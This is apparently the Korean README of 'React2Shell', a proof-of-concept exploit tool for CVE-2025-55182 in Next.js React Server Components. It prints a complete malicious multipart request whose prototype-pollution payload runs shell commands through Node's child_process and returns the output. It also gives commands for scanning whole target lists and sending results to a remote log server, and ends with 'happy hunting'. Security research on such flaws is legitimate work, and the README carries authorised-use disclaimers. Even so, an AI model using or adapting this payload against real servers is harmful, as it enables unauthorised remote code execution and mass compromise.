
React2Shell은 Next.js의 취약한 React Server Components(RSC) 구현에 영향을 주는 CVE-2025-55182에 대한 개념 증명 익스플로잇입니다.
██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║
██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║
██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗
╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
제작: INDRA
이 프로젝트는 교육 목적, 보안 연구 및 승인된 침투 테스트용으로만 제공됩니다.
저자는 이 소프트웨어로 인한 어떠한 오용이나 손해에 대해 책임을 지지 않습니다.
이 익스플로잇은 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에만 사용하세요.
React2Shell은 Next.js의 취약한 React Server Components (RSC) 구현에 영향을 미치는 CVE-2025-55182에 대한 개념 증명 익스플로잇입니다.
이 익스플로잇은 취약한 역직렬화 흐름을 악용하는 조작된 multipart 요청을 전송하고, 애플리케이션의 리디렉션 다이제스트 응답을 통해 명령 출력을 추출합니다.
성공하면 익스플로잇은 실행된 명령의 출력을 터미널에 직접 표시합니다.
Python 3.8+
의존성 설치:
pip install requests urllib3
.
├── exploit.py
└── README.md
| 버전 | 상태 |
|---|---|
| 19.0 | ⚠ 취약 |
| 19.1.0 | ⚠ 취약 |
| 19.1.1 | ⚠ 취약 |
| 19.2.0 | ⚠ 취약 |
| 19.0.1 | ✅ 패치됨 |
| 19.1.2 | ✅ 패치됨 |
| 19.2.1 | ✅ 패치됨 |
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
python exploit.py -h
python exploit.py -u https://target.com
targets.txt
target1.com
target2.com
target3.com
실행
python exploit.py -f targets.txt
python exploit.py -u https://target.com -o results.txt
python exploit.py -u https://target.com -l https://your-log-server.com
python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com
| 옵션 | 설명 |
|---|---|
-u | 대상 URL |
-f | 대상 도메인이 포함된 파일 |
-o | 취약한 대상을 로컬에 저장 |
-l | 결과를 원격 로그 서버로 전송 |
-h | 도움말 표시 |
🚀 Loaded 42 targets (HTTP + HTTPS)
🔥 [VULNERABLE] https://target.com/
💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)
──────────────────────────────────────────────
허가 없이 이 소프트웨어를 시스템에 무단 사용하면 로컬, 국가 또는 국제 법률을 위반할 수 있습니다.
저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
즐거운 사냥 되세요 🕷️